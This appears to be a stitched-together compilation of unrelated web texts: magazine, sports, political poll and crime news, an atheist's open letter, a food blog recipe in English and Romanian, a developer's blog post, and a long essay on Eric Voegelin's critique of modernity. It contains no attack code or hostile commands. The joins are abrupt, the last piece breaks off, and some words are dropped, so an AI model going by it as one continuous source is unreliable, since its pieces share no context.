Ultimately, notes Fleishman, all these factors combined to lead to the shuttering of The Magazine. Anyone starting up an independent digital magazine like it these days would be best served using a platform like TypeEngine, he said, and effectively keeping startup costs low.  The Magazine has been profitable. Nobody lost any money in the venture, which has paid out a half-million dollars to its writers. Because of that, Fleishman is not unhappy at all about having to end this part of his career, though he would do it differently if he started today.  “I would rather bring [a digital magazine] into being and make it flower,” he said, “as opposed to starting at a super-high point but with an extremely expensive and time-consuming infrastructure.”  Fleishman is currently finishing a The Magazine: The Book (October 2012 to October 2013).
-Roberto Firmino scored a hat-trick as a number of Liverpool first-team players clocked up minutes in a behind-closed-doors victory over Welsh outfit TNS at Melwood on Monday.  Those who had not featured from the start in the season opener against Stoke City were involved in the practice match today as they continue to build up fitness and sharpness.  The Reds line-up claimed a 5-1 win, with summer signing Firmino bagging a treble and Danny Ings – from the penalty spot – and Lazar Markovic also on target.  There were starts for Adam Bogdan, Emre Can, Lucas Leiva, Alberto Moreno, Divock Origi, Jordan Rossiter, Mamadou Sakho and Kolo Toure at the training base too.  LFCTV GO subscribers can watch two of Firmino’s three strikes, plus short highlights of the run-out, by clicking play above. Not yet signed up? Click here to join now.  Where are comments?
-Yesterday, the Washington Post published an editorial titled What Atheists Can’t Answer. The author, Michael Gerson, is an influential evangelical Christian and was formerly George W. Bush’s chief speechwriter.  Compared to most attacks on atheism, including a few I’ve rebutted recently, Gerson’s essay is fair and honest. He rightfully steers clear of the slanderous and unfounded insults so common in apologetic literature, conceding that human beings can be good without God. However, while he agrees that atheists can be moral, he expresses a time-worn worry:  Human nature, in other circumstances, is also clearly constructed for cruel exploitation, uncontrollable rage, icy selfishness and a range of other less desirable traits. So the dilemma is this: How do we choose between good and bad instincts? …Atheists can be good people; they just have no objective way to judge the conduct of those who are not.  This is a serious argument and deserves detailed consideration. Following is the text of a reply I sent to Gerson and to the Post.  Dear Mr. Gerson:  This is a response to your July 14 column, “What Atheists Can’t Answer”.  You wrote that, in the dilemma of choosing between good and evil, theism gives us reason to “cultivate the better angels of our nature.” However, any honest assessment of history would conclude that religion makes people bad at least as often as it makes them good. Religion has inspired great acts of charity and selflessness, beautiful music, art and architecture, and countless examples of human kindness and compassion. It has also inspired horrific, bloody wars, brutal inquisitions, tyrannical theocracies, fanatical campaigns of terror, and countless incidents of discrimination, prejudice, and bigotry.  Far from being a force that pulls ceaselessly toward the moral apex of the universe, religion is more like a megaphone, amplifying both the good and the bad of human nature in equal measure. This is not surprising to an atheist, because there is no objectively verifiable evidence of any god who wants people to behave in any particular way. As a result, people can without fear of contradiction invent a god who speaks for them, who confirms all their opinions and prejudices – and this is exactly what all religious people do, the liberal as well as the conservative.  You worried that atheists have no compelling answer to a person who says, “I’m going to do whatever I please.” But religion does not solve that problem. If anything, the problem is far worse when the malcontent is a theist who claims that his desires are not just some idiosyncratic expression of individual preference, but the very will of God. An atheist, at least, has no warrant to claim holy sanction or divine infallibility for his opinions, and in theory can be persuaded by reason. On the other hand, a person who sincerely believes that they are acting in accordance with the will of the creator is immune to evidence, diplomacy, and compromise – as the many religious wars still smoldering after millennia should make abundantly clear.  In your column, you said that morality cannot be anchored without reference to a higher power: that if God had not commanded us to be good, we would have no reason to be good, and no justification for condemning those who were not. This claim betrays its own incoherence, for we can then ask, why doescommand us to be moral? Does he have reasons for that edict? If so, then we too can make use of those reasons, for if they are good ones, they will stand on their own without reference to who is giving them. On the other hand, if God has no reasons for his commands, then religious morality is cut loose from any anchor. God commanded us to be merciful and kind, but that was just an arbitrary choice with no deeper significance. He could just as easily have commanded us to be vicious and cruel, andtraits would then be the definition of goodness which we were all bound to follow. Can any rational person accept such a nonsensical conclusion?  You asked what reason an atheist can give to be moral, so allow me to offer an answer. You correctly pointed out that neither our instincts nor our self-interest can completely suffice, but there is another possibility you’ve overlooked. Call it what you will – empathy, compassion, conscience, lovingkindness – but the deepest and truest expression of that state is the one that wishes everyone else to share in it. A happiness that is predicated on the unhappiness of others – a mentality of “I win, you lose” – is a mean and petty form of happiness, one hardly worthy of the name at all. On the contrary, the highest, purest and most lasting form of happiness is the one which we can only bring about in ourselves by cultivating it in others. The recognition of this truth gives us a fulcrum upon which we can build a consistent, objective theory of human morality. Acts that contribute to the sum total of human happiness in this way are right, while those that have the opposite effect are wrong. A wealth of moral guidelines can be derived from this basic, rational principle.  You said that in an atheist’s world, the desire for meaning and purpose are “a cruel joke of nature.” Nothing could be further from the truth. I am an atheist, and my life is full to bursting with meaning and purpose. I rejoice to be alive in this beautiful, complex, awe-inspiring world. I am grateful for the interactions with my fellow human beings who illuminate my mind with their brilliance, inspire me with their dedication, and offer me the chance to enter into the deep communion of love. The knowledge that our lives are finite does not make them less precious, but infinitely more so, as we know that we must seize this one opportunity while we possess it and drink deeply from the rich spring of all that life has to offer.
-Greece's New Currency  Greece is on its second bailout, with the possibility of a third bailout looming. The Guardian reports on a man in Greece who received groceries and tax services this month without spending a euro:  In return for his expert labour [as an electrician], Mavridis received a number of Local Alternative Units (known as tems in Greek) in his online network account. In return for the eggs, olive oil, tax advice and the rest, he transferred tems into other people’s accounts.  Tems is an alternative currency created by the Exchange and Solidarity Network. All transactions are recorded electronically via the network’s website. To avoid debt or hoarding, Tems has a debt floor of 300 units, and a ceiling of 1,200. Like time banks, it’s not a barter system as there’s a medium of exchange. However, the group does plan on opening a barter market in the following months.  The article implies that the Greek government is in support of such currency innovations:
-Something I’m starting to realise and accept for myself: I’m a web developer. Not an engineer. Mostly an approach & understanding difference  – Me, 6-Feb 2015  This seemed to strike a chord with a few people, and others asked if I could embellish on those thoughts. So here it is.  READER DISCOUNTSave $80 on terminal.training I've published 38 videos for new developers, designers, UX, UI, product owners and anyone who needs to conquer the command line today. $19 - only from this link  On titles  "We" love titles. Personally, in the last 5 years, I've preferred the sound of being an engineer, or a JavaScript engineer. I actually quite like software designer. But let's face it, it's all fluff.  Actually, where titles aren't fluff, is when you work in a larger company. Quite often titles relate directly to pay scales. I digress.  The engineer bit is a little less fluffy and does actually carry meaning.  Engineers  Calling yourself an engineer, when you're not actually qualified as an engineer is sort of a no-no. In fact, there's some regulation around the engineering titles - and certainly in the UK (according to the Wikipedia page), there's been petitions to protect the title.  Ignoring the regulations, to me, engineers are smart, educated (ideally in a form of engineering...) and specifically: solving complex computer engineering problems.  In a conversation (over twitter) I was having with Trek Glowacki, midway he replied with:  Take a step back and understand the real engineering goal: SRP  I wasn't aware of any engineering goal, nor what SRP stood for, nor did I really understand what the Wikipedia page was saying to me.  Honestly, I kind of feel out of my depth amongst engineers aka those people who *really" took the time to study computer science and grok the shit out of it.  I am web developer  I don't know why I thought it was uncool to be a "web developer". Perhaps because it's utterly vague.  What "web developer" does mean to me though, is this:  Someone who writes code for browsers. Likely from the school of view source, is comfortable with drop-in libraries, understands standards and best practice techniques. But mostly, a tinkerer.  I am not alone  The picture above is an (infamous) screen grab from the Web Platform introduction video. Of Sir Tim Berners-Lee. The creator of The Web.  I saw a lot of posts and tweets suggesting that this was a joke, or a disservice to his work, or that the title was utterly understated.  I'm not sure it was. There's no doubt that this man is responsible for a lot more, but he is The Web Developer.  I'm proud to say that I work on that same web. Making it better (and sometimes, perhaps, a little worse).  Embrace it  I've personally learnt my web development skills over a long period of time and nearly entirely through trial and error. I suspect most of us have.  Being a web developer doesn't have to mean you have to be a JavaScript wiz, or that you don't touch the server side. By virtue of tinkering, it's quite likely you're getting better at all these things.  Coming to this realisation is by no means a slur against those people who call themselves engineers. If you do, it's quite likely I already have a great deal of respect for your knowledge and understanding if I've come across your work already.  As for me, I'm proud to say: I am a web developer. I am a tinkerer.  Posted 26-Feb 2015 under web.
-I’m not a huge Reddit fan, but it happened that I read the other day a thread about how some food bloggers focus on photography and post recipes that rarely succeed, how they make every recipe sound like it’s the best when in fact it may not be, how they make it look more like a business and less like something personal. The thread had dozens of comment from people stating the same thing and pointing towards quite famous bloggers out there whose photography and work I admired many times. I had mixed feelings reading this – on one side there’s the blogger community which I enjoy being part of and can totally relate to the work behind a blog and on the other side there’s the reader that tries the recipe, the reader that we care so much or should care about, the people we interact with who feel betrayed when a recipe fails.  I understand both parties and believe me, being a blogger is not the easy thing many people think, it’s not as fun as you might expect sometimes, making your recipes stand out is hard and oh boy, when you meet insensitive people, the Internet can be cruel. But this doesn’t mean we should post just anything and expect to form a community around a blog even though the recipes aren’t as good as we make them look in our photography. Yes, photography can be deceiving, I know it well, there’s plenty of tricks out there to make food look great so I believe this is why people feel betrayed when a recipe fails. They have high expectations, they want it to look like in the pictures, without being aware that a recipe’s success depends on many things and sometimes differently sourced ingredients can change the final result. But I still trust bloggers more than I trust recipe sites to source my recipes from. It’s probably that feeling of familiar I get when I read the stories, might be the preparation pictures you get to see sometimes, but I love reading blogs and sometimes comparing one recipe with another.  But I can totally relate to the person who had recipe failures from various bloggers, I’ve been there myself and it does bother me when I see someone saying it is the best recipe in the world – if you read more blogs you will probably find a similar recipe being presented as the best in the world and so on. It has to do with the way bloggers describe their recipe so people build these high expectations and if it doesn’t turn out according to that, they feel disappointed.  This thread also led to another thing I have been thinking about – how important is the story in a blog post compared to the recipe itself?! I’m a journalist so words are my friends, especially in writing, but I have to admit that sometimes writing more than the recipe itself is a struggle and I feel bad to just say how good the recipe is. I know it is, I don’t post recipes if I’m not happy with them, but writing entire paragraphs about how good it is and how amazing it tastes is just not my cup of tea. I tried it, it doesn’t feel like me, it feels like I’m trying to sell my recipes to you, my readers, when in fact I’m not. I want you to try the recipes I post, obviously, but only if you think you might like them, not because I say so many times in a paragraph and use all these pretty words to build a story around a recipe. But then I go to a different blog and I see this beautiful writing, studded with gorgeous words about the recipe and dessert that I feel bad I didn’t do the same … and this goes on forever. So I am curious, how important do you think the story is compared to the recipe? Do you read the stories that come with the recipes or just go to the recipe itself? Have you ever tried a recipe based on a blogger’s description?  Now let’s go back to today’s recipe which is a buttery, fragrant rhubarb cake with a crispy streusel topping. I’m not a huge fan of rhubarb, unless it comes in this classic combination with strawberries. So once the cake was baked, I made a simple strawberry compote and topped each serving of cake with it, plus a dollop of whipped mascarpone. Yes, simple mascarpone cream, whipped just to become airy. I find to be heavenly in this combination.. well, any combination, I’m a mascarpone addict!  {Streusel Rhubarb Cake} - Tort cu rubarba Print Author: Olguta - Pastry Workshop Serves:: 8-10 servings Ingredients: Cake: 4 eggs  90g sugar  1 teaspoon vanilla extract  130g all-purpose flour  1 pinch salt  50g butter, melted and chilled  250g rhubarb, sliced  1 tablespoon cornstarch  2 tablespoons brown sugar Streusel topping: 50g butter, softened  100g all-purpose flour  1 pinch salt  2 tablespoons powdered sugar Strawberry compote: 300g strawberries  ¼ cup fresh orange juice  40g sugar  2 cardamom seeds, crushed  Mascarpone cream for serving Directions: Cake: Pre-heat your oven to 350F and lined a round cake pan (22cm) with baking paper. Sift the flour with salt. Combine the eggs with sugar and vanilla in a bowl and mix with an electric mixer for 10 minutes until triple in volume. Stir in the vanilla extract then begin folding in the flour, spoon after spoon, mixing with a spatula until the flour is incorporated. Take 4 tablespoons of batter into a small bowl and stir in the melted butter. This is done because the butter (and other type of fat for that matter) tends to sink at the bottom of the bowl, forcing you to mix into the batter vigurously, thus destroying the air bubbles you effortesly incorporated in the eggs earlier. But if you do it in a small batch of dough first, the final batter won't be damaged at all. Transfer the butter mixture back into the bowl and carefully fold it in. Pour the batter in the prepared cake pan and place aside. Mix the rhubarb with cornstarch and sugar and top the cake with slices of rhubarb. Streusel topping: Combine all the ingredients in a bowl and mix until sandy. Spread the streusel over the rhubarb and bake the cake in the preheated oven at 350F for 35-40 minutes. Remove from the oven when done and let it cool completely. Strawberry compote: Combine all the ingredients in a small saucepan. Bring to a boil over low heat and cook for a few minutes just until the fruits are softened, but not mushy. Allow it to cool completely. Serve the cake topped with mascarpone cream and strawberry compote. Wordpress Recipe Plugin by EasyRecipe 3.3.3077  Rubarba e o noutate pentru mine, am descoperit-o anul trecut multumita Lidl, caci nu prea e de gasit prin partile astea de Romanie si imi place tare in combinatie cu capsunele. Motiv pentru care tortul a fost insotit de un compot foarte simplu de capsune aromat cu putin cardamom. Si un mot de mascarpone simplu, usor batut cat sa se aereze, desi merge si frisca bine batuta, e doar o chestie de gust personal. Mascarpone e noua mea slabiciune si ma furisez si in miezul noptii pentru o lingurita din branza asta cremoasa, onctuoasa, grasa. Dar recunosc ca ultima felie de tort am acoperit-o bine cu smantana acra (ramasesem fara mascarpone si nu aveam nici frisca) si a fost la fel de buna. E genul ala de comfort food din care nu te mai poti opri din mancat.  Ingrediente:  Blat:  4 oua  90g zahar  130g faina alba  1 praf de sare  1 lingurita extract de vanilie  50g unt gras, topit  250g rubarba, felii  1 lingura amidon  2 linguri zahar brun  Topping crocant – streusel:  50g unt la temperatura camerei  100g faina alba  1 praf de sare  2 linguri zahar pudra  Compot de capsune:  300g capsune proaspete, taiate in jumatati  1/2 cana suc proaspat de portocale  40g zahar  2 pastai de cardamom, usor zdrobite  Mascarpone sau frisca pentru servire  Mod de preparare:  Blat:  Pre-incalziti cuptorul la 180C si tapetati o tava rotunda (22cm) cu hartie de copt. Amestecati rubarba cu amidonul si zaharul brun intr-un bol si dati deoparte. Mixati ouale cu zaharul si vanilia pana isi tripleaza volumul. Incorporati treptat faina cernuta cu un praf de sare. Luati deoparte cateva linguri de blat si amestecati cu untul topit. Turnati amestecul inapoi in bolul cu blat si amestecati usor cu o spatula. Turnati blatul in tava pregatita si acoperiti cu felii de rubarba.  Streusel:  Amestecati toate ingredientele intr-un bol si faramitati bine cu varful degetelor pana obtineti o compozitie nisipoasa. Intindeti streusel-ul peste rubarba si coaceti tortul pentru 35-40 minute. Lasati sa se raceasca in tava.  Compot de capsune:  Combinati toate ingredientele intr-un vas si fierbeti cateva minute pana fructele se inmoaie usor. Lasati sa se raceasca inainte de servire.
-IOWA: FIRST IN THE NATION  For the past 42 years, Iowa has held the first-in-the-nation presidential caucus, leading the way to the party nominations for the presidency. The caucus came to prominence in 1976 when Jimmy Carter used Iowa as a springboard for his presidential campaign, and a second place finish in Iowa (behind “uncommitted”) provided the momentum for him to win the Democratic nomination and the presidency of the United States.  Since 1972, the caucus has become a major national media event, garnering praise and criticism. Iowa’s grassroots politics provide opportunities for all candidates to succeed, and Iowa activists are known for their careful consideration of candidates. Nonetheless, critics charge that Iowa is unrepresentative and therefore other states might be better suited to kick off the nominating process. Whatever your thoughts on the merits (or lack thereof) of Iowa’s caucus, the caucus campaign in Iowa is unlike any campaign in any other state.  As the caucus has evolved, the state has developed a lively political culture and “retail politics” is the name of the game. Together, Iowa and New Hampshire garner approximately 50% of the media coverage of the entire nominating process. While most Americans see glimpses of the Iowa campaign on the nightly news, the real campaign in Iowa is focused not on the candidates, but on average citizens in small towns across the state. Voters meet White House hopefuls in church basements, high school gyms, small town diners, fairgrounds, picnic grounds, parades, and front porches.
-Joe Maddon pulled a Babe Ruth.  In the dugout before Game 5 of the World Series at Wrigley Field, the Cubs manager called his shot, telling Andre Dawson his team would win that night, push the series back to Cleveland and take the final two games from the Indians.  Which, as we all know, is exactly what happened.  Dawson — the Hall of Famer and Cubs legend — recounted the story Thursday morning:  "I can remember a comment he made. He's like, 'We're gonna win this game and we're gonna go on the road and we're gonna win the series,'" Dawson said. "I looked at him and he said, 'I think the guys are pressured a bit too much and we need to get away from Wrigley Field,' which obviously was the outcome."  That's not the first time we've heard the possibility the Cubs may have been feeling the pressure playing in front of the tense Wrigley faithful. But it's interesting Maddon had the same thought before the Cubs even mounted their epic comeback down three games to one in the World Series.  Dawson played six years with the Cubs and won the National League MVP in 1987 after leading the league with 49 homers and 137 RBI.  He admitted he swelled with pride watching the final two games of the World Series, likely echoing the thought of all former Cubs everywhere.  "For everyone that's ever put on a Cubs uniform, it was just joy and jubilation that it actually and finally happened," Dawson said. "There were a few bumps in the road in getting to the final result, but I was quite happy I could say I wore that uniform once and finally the fans here in Chicago got the wish and the dream that they so longed for."  Dawson also recounted his trip to Chicago the day before that epic parade and rally that featured five million Cubs fans. He even gave his daughter a warning about how wild that celebration might get at Grant Park.  Check out Dawson's full interview in the video above.
-Florida Sen. Marco Rubio, left, currently holds a comfortable lead against both of his potential Democratic opponents. (Bill Clark/CQ Roll Call file photo)  A new Quinnipiac University poll shows three Republican incumbent senators leading their would-be Democratic opponents.  The poll released Thursday shows Ohio Sen. Rob Portman leading former Gov. Ted Strickland by 7 percentage points, a jump from the previous poll which had seen the two in a statistical tie.  Portman appears to have a significant fundraising advantage over Strickland, with $13 million in cash on hand. Strickland has lagged in fundraising in the past but has yet to release his second quarter numbers.  [ The 10 Most Vulnerable Senators ]  In Pennsylvania, GOP Sen. Patrick J. Toomey is beating Katie McGinty , former chief of staff to Gov. Tom Wolf, by 10 points.  Toomey has consistently led in polls against McGinty as well her Democratic primary challenger, former Rep. Joe Sestak when he was polled by Quinnipiac.  Similarly, in Florida, Sen. Marco Rubio has consolidated his lead over both of his potential Democratic opponents , Reps. Patrick Murphy and Alan Grayson. Republicans pushed hard for Rubio to run for re-election since he was widely seen as their best option to hold the seat.  Murphy, who has received the endorsement of President Barack Obama and Vice President Joseph R. Biden Jr., has been criticized after local news reports showed discrepancies in his resume. Rubio leads Murphy by 13 points and he leads Grayson, who is largely opposed by the Democratic establishment, by 12 points.  The poll also shows President Barack Obama's approval ratings underwater in all three states.  Get breaking news alerts and more from Roll Call on your iPhone or your Android.
-Story highlights Teresa Gilmete Badger is an elementary schoolteacher  At least two people were hospitalized after eating the food, police say  At least one person tested positive for THC, marijuana's intoxicating ingredient  A 15-year-old got sick after eating leftovers from the party  Police in Northern California have arrested an elementary schoolteacher after she allegedly brought marijuana-laced food to an after-hours employee potluck dinner.  Teresa Gilmete Badger, a 47-year-old teacher at Matthew Turner Elementary School in Benicia, was arrested Friday afternoon on suspicion of poisoning after a six-week-long investigation, said Lt. Frank Hartig of the Benicia Police Department.  After the late-November get-together in the Bay Area town, several people reported feeling ill, a police statement said.  "One of the partygoers was rushed to the hospital with severe reactions; she was hospitalized," Hartig told CNN affiliate KPIX . "The very next morning, another partygoer was taken to the hospital, because she continued to feel like she was under the influence of something."  JUST WATCHED Obama, Perry backpedals on marijuana Replay More Videos ... MUST WATCH Obama, Perry backpedals on marijuana 05:25  At least one of the women tested positive for THC (Tetrahydrocannabinol), the principal intoxicant in marijuana, police said.  A 15-year-old also got sick after someone at the party brought leftovers home, according to police.  During their investigation, police said they were told that Badger had "allegedly confessed her involvement to individuals who were also in attendance at the party."  She was arrested Friday and booked into Solano County Jail in Fairfield. Bail was set at $15,000.  Badger chose not to speak to arresting officers, Hartig said.
-Eric Voegelin’s critique of modernity claims that Liberalism, the creed of the Enlightenment, is “Gnostic.” Voegelin (1901-1985) drew the term “Gnosticism” from its scholarly application in theological discussion to a strain of Late Antique religiosity. The term “Gnostic” refers to that array of sects and cults, the adherents of which saw themselves, as forming a saintly elect among the perishing masses on account of their possessing, as their souls, sparks of divinity that had become trapped in the world of matter. The ancient Gnostics abhorred the world of matter and claimed to sojourn in it only as exiles from a realm of pure light, which was the “real” world despite appearances. Voegelin labeled Gnosticism an anticosmic rebellion, a rebellion against reality, emphasizing the tendency of Gnostics to construct what – borrowing from novelists Robert Musil and Heimito von Doderer – he called a second reality built on principles contrary to those governing what morally and intellectually adjusted people understand to be the actual or first reality. Gnosticism for Voegelin constitutes a social pathology for the reason that the upholders of the second reality, once having invested their emotion in it, make it a fetish and regard criticism of it as lèse majesté. Organized Gnosticism tends to become a censorious war, a jihad, to protect the second reality from examination and, more aggressively, to coerce assent to the second reality’s existence.  It belongs to Voegelin’s critique of modernity as the re-emergence of Gnosticism that its object – the social pathology of the political religions – corresponds to an attitude (namely, rebuke) rather than to some specific doctrine that has persisted since antiquity. Voegelin never meant to argue that let us say the Valentinian speculation or Manichaeism as such could be identified with Marxism, National Socialism, Leninism, Feminism, Multiculturalism, or any other particular ismatic discourse. Yet, as Voegelin saw it, the ancient and the modern rebellions stubbornly resembled one another in their basic dispositions. When, therefore, in his posthumous In Search of Order (1987), Voegelin alludes to the characteristic modern “divinization of men,” he takes as his exemplar of the genus “the Feuerbach-Marx divinization of man,” whose purpose consists in “explaining divine reality as a human projection that, if returned to man, will produce full humanity.” That normative consciousness is false, that religion is false, that institutions are false and tyrannical, and that only an elite recognizes the situation: These motifs structure both ancient Gnostic speculation and modern ideological discourse – both of which envision their fulfillment in the abolition, one way or another, of existing reality.  Voegelin distinguishes the ancient and modern rebellions in this way: “At the extreme of the revolt in consciousness, ‘reality’ and the ‘Beyond’ become two separate entities, two ‘things’ to be magically manipulated by suffering man for the purpose of either abolishing ‘reality’ altogether and escaping into the ‘Beyond,’ or of forcing the order of the ‘Beyond’ into ‘reality.’ The first of the magic alternatives is preferred by the gnostics of antiquity, the second one by the modern gnostic thinkers.”  I. The magisterial analysis of pneumopathology, or spiritual sickness, that Voegelin undertakes in the final great phase of his life in the five volumes of Order and History solicits further consideration, which the discussion shall undertake in due course. But as Voegelin’s analysis of pneumopathology consummates many decades of his concerted meditation on the problem of “the modern Gnostic thinkers,” it will be helpful to begin where Voegelin himself began, in his early, sobering study of The Political Religions (1938), which heralds so much in his subsequent authorship. That book’s publication coincided with the Anschluss, with Voegelin’s loss of his teaching position, and with his flight through Switzerland to England in company with his wife. The Political Religions, like The New Science of Politics (1952), either stymied or outraged its earliest readers, or did both at once. Voegelin opens the discussion with a calculated understatement: “Speaking about political religions and construing the movements of our times not only as political but also, and primarily, as religious movements is not accepted as a matter of course yet, even though the factual situation would force the attentive observer to take this stand.” The difficulty actually worsens when one considers that the “movements” of which Voegelin writes identify themselves, not as sacral or religious but quite vehemently as secular; and that they practice open hostility to traditional creeds and churches.  And yet – in looking past the claims of the ideologies, in looking to the organization and behavior of the “movements,” the outward signs of sectarian religiosity begin to make themselves visible to an observer. Among these signs, a fanatical enmity towards any competing spiritual or doctrinal authority strongly resembles the postures that scholarship associates with the zealotries of Late Antiquity religiosity, on the one hand, and with the cultic propaganda of the period of the European religious wars of the Seventeenth Century, on the other. This recurrent attitude of absolute justification is also the shared attitude of contemporary dogmatic Liberalism and Islam – each of which thinks to use the other in the completion of its program of abolishing Christianity despite the many differences that make them finally incompatible. A generation after Voegelin’s death, the cumulus of historical material apposite to the recognition of concupiscent spirituality has greatly increased.  Voegelin’s vocabulary of spiritual aperture and closure structures the argument in The Political Religions. Already in 1938 Voegelin describes normative consciousness – the type of consciousness on which the classical political arrangement is based – as having its root in certain fundamentals that universal perception emphatically attests. As Voegelin writes, “man experiences himself as being natural [kreatürlich] and, therefore, questionable,” where the final adjective means amenable to investigation or analysis which can indeed reveal the truth about a thing. All order begins with man’s sense, as Voegelin argues, that “his soul is linked to the cosmos,” and that when he acts his actions place him in a relation “to a suprapersonal, all-powerful something,” with which the actions can either be in accord or out of tune, healthy or unhealthy. The suspicion that time is out of joint or that something is rotten in the state only makes sense in light of this intuition of a transcendent non-temporal source of temporal order – of an archetype of order or a Logos. For the ancients it resided in the visible cosmos, for Christians, in the unseen City of God. As Voegelin writes, “The Beyond surrounding us can be searched for and found in all the directions in which human existence is open to the world: in the body and in the spirit, in man and in the community, in nature [Natur] and in God.” The “spiritual religions,” which are “trans-worldly,” respond to the intuition of “the Beyond.”  The historical archive of symbolizations, including the distorted ones, makes an opportunity, however, for derailment. The living, plastic symbols can “firm up as systems, become filled with the spirit of religious agitation and fanatically defended as the ‘right’ order of being.” This type of reification of a symbol-system, invested with the full measures of anxious emotion and literal-mindedness, is closed. It takes itself for the end-point of existence or for a final codification of reality beyond which there is no further development or history. “Our time,” writes Voegelin, “is overcrowded with religious orders of this kind, and the result is a Babylonian confusion of tongues, since the signs or symbols of a language have immensely different holy, magic, and value-related qualities, depending on the speaker using them.” The subject’s relation to the symbols of this-worldly (“immanent”) faith then conforms in a debased way to a lowly thing-relation: The subject encounters the words as though the phenomena designated by them were mere items in the world; he encounters them moreover as fetishes or idols, valorized by the gestures of charismatic gurus or leaders. “Followers of the movements that want to be anti-religious and atheistic refuse to concede that religious experiences can be found at the root of their fanatical attitude, only venerating as sacred something else than the religion they fight.”  In The Political Religions, Voegelin classifies secularization under the heading of “religious developments” but in the direction of immanence rather than transcendence. He reminds readers that the “process of withering” that afflicts European civilization “has its origins in the secularization of the soul and the ensuing severance of a consequently purely secular soul from its roots in religiousness.” Later in the text, Voegelin writes this: “Precisely the secularization of life that accompanied the doctrine of humanism is the soil in which such an anti-Christian religious movement as National Socialism was able to prosper.” Once the propaganda in denial of a “Beyond” of this world has sufficiently pervaded the social domain the only possible remaining sources of valid propositions are “a powerful person,” “organization accompanied by glamour and noise,” and the combination of “force and terror.” The “powerful person” never invites his followers to test on their own the rightness of his doctrine; he promulgates it aggressively in the mode of absolute authority – thus as unquestionable Gnosis, the term that Voegelin would later employ. Voegelin observes that ideological-totalitarian states invariably imitate the trappings of sacred societies. Think of Hitler’s flag-ceremonies or the mummified bodies of the Bolshevik leaders, to which the Communist faithful must make pilgrimage.  The religiosity of the Twentieth Century ideologies combined with their reactive anti-Christian impulse had not occurred to Voegelin alone. In Metapolitics (1941), Peter Viereck devotes a chapter to “Nazi Religion versus Christian Religion” – remarkably Voegelin-like construction although Viereck in the early phase of his authorship would have had no acquaintance with Voegelin. Viereck writes, “Now that Stalin has purged the old-Bolshevik intellectuals and Soviet Russia has stopped philosophizing, [Alfred] Rosenberg remains the leading anti-Christian philosopher in the world today.” Not only, in Viereck’s view, is Nazi philosophy, as far as it is philosophy, essentially anti-Christian, but it is also essentially religious: “Through romantic incantation and mass ecstasy Nazi religion would reawaken the elemental powers of pre-civilization days.” Voegelin, himself, had he enjoyed the opportunity to read Viereck’s assertion, would undoubtedly have agreed with it, pointing out an implication that Viereck might have had but omits to record: Namely that Nazi religion, like Gnosticism, is an instance of total, world-rejecting nihilism, particularly in its attitude toward civilization. One might easily hunt up observations similar to those of Viereck in numerous works of the 1920s and 30s – in those, say, by René Guenon, José Oretga, and Nicholas Berdyaev, and by certain novelists and satirists.  In The Political Religions, to recur to it, Voegelin undertakes a critique of scientism. As he writes, “the common trend of the new symbolism is its ‘scientific’ character.” Thus Nazi race-theory is “scientific,” complete with catalogues of skull-measurements. All Marxist theory under the Soviet regime is “scientific,” with the word becoming mere reflexive approbation in official discourse. Once “the world as contents has suppressed the world as existence,” and once the “counter-formulas against the spiritual religions and their worldviews are coined and legitimated by the claims of secular science as the [sole] valid form of cognition, contrary to revelation and mystical thought”: Then, as Voegelin writes, “the inner-worldly apocalypse needs only to remove from [medieval religious] thinking the transcendent end realm… to have at its disposal a language of symbols suitable for the secular world.” The “end realm” remains, non-transcendentally, as in the sequence of Feudalism-Capitalism-Communism, after which there is no fourth term; or similarly in the National Socialist coinage of a “Third Reich,” which will also be a “Thousand-Year Reich,” that is to say, permanent and unchangeable.  A skeptic might object to Voegelin’s account of secularization that if intuiting the link to “the Beyond” belonged to human nature then the curtailment of the transcendental orientation could take place only with great difficulty. Why do the addressees of the Robespierre- or Lenin- or Hitler-appeal yield to the leader’s closed vision in the first place? The answer is that the capacity for profound intuition never develops equally in all people, nor does the capacity to articulate intuition in transparent symbols; these talents develop powerfully only in a few. To paraphrase Ralph Waldo Emerson, who might well have been a Gnostic, for a few there is intuition, but for the rest there is only tuition, often at a steep price. Even the capability of understanding the symbols, once the vates or logothete articulates them, finds only unequal distribution, with increasingly diminished currency. Because pride and laziness really exist, moreover, the appeals to them, and to other base motives, always enjoy greater popularity than the admonitions against them. Whereas normative religion, which carefully admonishes everyone, preaches a higher power, humanism preaches the autonomy and supremacy of man. The majority will tend to vote for the second over the first, if only because men like to think of themselves as supreme, whereupon many will eagerly say, “we are the ones we have been waiting for” and “the debate is over.”  Viereck once again makes a similar analysis in Metapolitics. The “German Faith Movement,” as he observes, is simply a seductive appeal to the ordinary man with a slight inferiority complex intended to recruit him into uncritical approbation of the regime by elevating him to superman-status – and by training him to focus his disappointments, or rather to transfer them, to the sub-human scapegoats of the creed. Thus, for Viereck, “racism is itself less a science or philosophy than a religion an anti-Christian brand of mysticism,” which “worships blood as sacred, but only the blood of its own tribe, making it a narcissistic self-worship.” Here again Voegelin would likely be quick to notice the parallelism with the Late-Antique Gnostic creeds, which made a similar appeal based on the sharp division between election and preterition and similarly regarded the preterit as a sub-human rabble fit in its ignorance only to be abolished in the eschaton of the Pleroma.  II. Voegelin’s New Science of Politics not only constitutes the natural sequel to The Political Religions; it brings to maturity the line of thinking, stimulated by Voegelin’s clash with totalitarianism, that found its tentative discourse, only lacking one or two key symbols, in the earlier book. Yet one should avoid the temptation to underestimate The Political Religions, either on account of its brevity or its schematic construction. With its invocations of Pharaoh Akhenaton’s Aton-cult, as the first political religion, and of Joachim di Fiore (1135-1202) and the history-closing terminology of the “Third Age,” the book forecasts the subject matter not only of The New Science of Politics but also of the volumes of Order and History. The style of The Political Religions again forecasts the style of The New Science of Politics. Voegelin writes as one who participates in a “transcendent truth,” the gist of which, being universally attested, is other than an entry in the range of competing sectarian opinions. Rather, the range of opinions must be judged against the permanence of that truth. Hence the definite article in the book’s title: Not A New Science of Politics, but rather The New Science of Politics, a grammatical delimitation that outraged academic readers of the book on its appearance.  The New Science takes its place among kindred works in its time-period of the immediate post-war years, but less in the realm of non-fiction or direct political discourse than in the realm of fiction or indirect discourse and novelistic social criticism, Voegelin himself having mentioned Musil and von Doderer. The Finnish writer Mika Waltari (1908 – 1979) wrote his best-known and most powerful novel The Egyptian during the war-years and issued it in 1945 just as hostilities concluded. The Egyptian narrates in the first person the experiences of one Sinuhe who lives through the social upheaval caused by Akhenaton’s precipitous and badly calculated religious and social reforms. Waltari’s Pharaoh has had a vision, not unlike those of the Hebrew Prophets in the Old Testament, but he interprets it literally and enacts it as policy with revolutionary abandon. Near the end of Pharaoh’s deconstruction of traditional arrangements, an 